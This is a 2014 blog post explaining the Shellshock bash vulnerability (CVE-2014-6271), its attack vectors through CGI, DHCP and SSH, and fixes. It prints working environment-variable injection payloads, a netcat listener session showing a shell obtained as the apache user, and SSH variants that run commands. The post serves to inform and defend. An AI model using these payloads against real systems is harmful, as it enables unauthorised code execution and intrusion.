Blog:

Shell Shock: What it is, and what you can do

Jamie Riden 25 Sep 2014

A quick update on the bug that everyone is calling shellshock, or bash apocalypse, or more boringly, CVE-2014-6271.

The short version is that it may render your Linux box (or embedded appliance running Linux, or other UNIX if you’ve got bash installed) vulnerable to remote code execution. Whether it is vulnerable depends on a number of factors, so we’re going to have to get into a bit of detail.

The problem seems to be that bash imports environment variables without correctly sanitising them.

Example

This is adapted from the main example that has been doing the rounds. First off we define a function x in the current environment. But after the function definition, we can include some extra code – and when this is imported into the new bash environment, the extra code ends up being run.

$ env x='() { echo NOP;}; echo this is vulnerable as it is importing extra bits apart from the function definition’ bash -c “echo we just started bash to show the import”

this is vulnerable as it is importing extra bits apart from the function definition
we just started bash to show the import

Now, what do we know that sets environment variables and then calls bash? Well, CGI scripts, PHP scripts – if you use system(), popen() or whatever, and also DHCP scripts within Fedora/Redhat. So a remote attacker against your website, or the operator of a DHCP server you connect to might be able to cause this condition to happen. (We’re still testing possible vectors!)

Testing yourself

There’s a test for the exploit using curl –H ( or –A would work presumably) floating around, and a pastebin of a remote shell (there is a full explanation of what a shell is at the bottom of this post). We just tested this and it seems to work, resulting in a bash shell as the apache user.

$ nc -l 8080
ls
bash: no job control in this shell
bash-4.2$ ls
helloworld
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.2$

My Debian-based servers don’t seem to be vulnerable because they run their CGI scripts (and DHCP scripts) using “/bin/sh” which symlinks to “dash” and not “bash”. Red Hat however does seem to use bash.

If you’re using ssh, you might also have problems. Debian accepts all LC_* variables, whereas Fedora only accepts a subset – however LC_COLLATE for example would be accepted by both.

env LC_COLLATE='() { :;}; echo vulnerable’ ssh root@zealot

(check AcceptVars in /etc/ssh/sshd_config)

env LC_COLLATE='() { :;}; echo vulnerable’ ssh [email protected]
[email protected]’s password:
Last login: Thu Sep 25 09:50:47 2014 from localhost.localdomain
vulnerable
[jeff@localhost] $

To be honest, I haven’t considered the implications of this – it doesn’t seem to get you anywhere if you have “normal” remote SSH access. But if you are using SSH as some sort of restricted shell – possibly svn+ssh ? – you may have issues.

env LANG='() { echo NOP;}; id >/tmp/foo’ bash -c “echo we just started SSH to show
the import” ssh [email protected]
Segmentation fault (core dumped)
$ cat /tmp/foo
uid=1000(jeff) gid=1000(jeff) groups=1000(dave),10(wheel)

Fixes

Patch bash – it’s not a complete solution allegedly, but it will help. See https://access.redhat.com/articles/1200223

Apply modsec rules to webservers. See https://access.redhat.com/articles/1200223
If you’re not running mod_security, why not start now.

Avoid system(), popen(), exec() etc. in PHP – use a specific library call instead of invoking the shell.

If you have a Linux-based appliance – contact the vendor.

Test it yourself if you can.

What is a shell?

In a UNIX environment the process of managing processes (executing and killing) is done via system calls which can only be executed by…. other processes. So to allow for operators to use the system an interface had to be invented.

A *shell* was developed to provide a human friendly* interface to UNIX.
Humans tell the shell what to do with processes and the shell does it by invoking system calls. The shell process is like any other process on the operating system.

In other words, the control that users have over processes in a UNIX environment is only apparent, it’s the shell that does the work instead.

On the other hand, the system would not be very useful without a shell, seeing as it allows and mediates the execution of most processes that do whatever they need to do.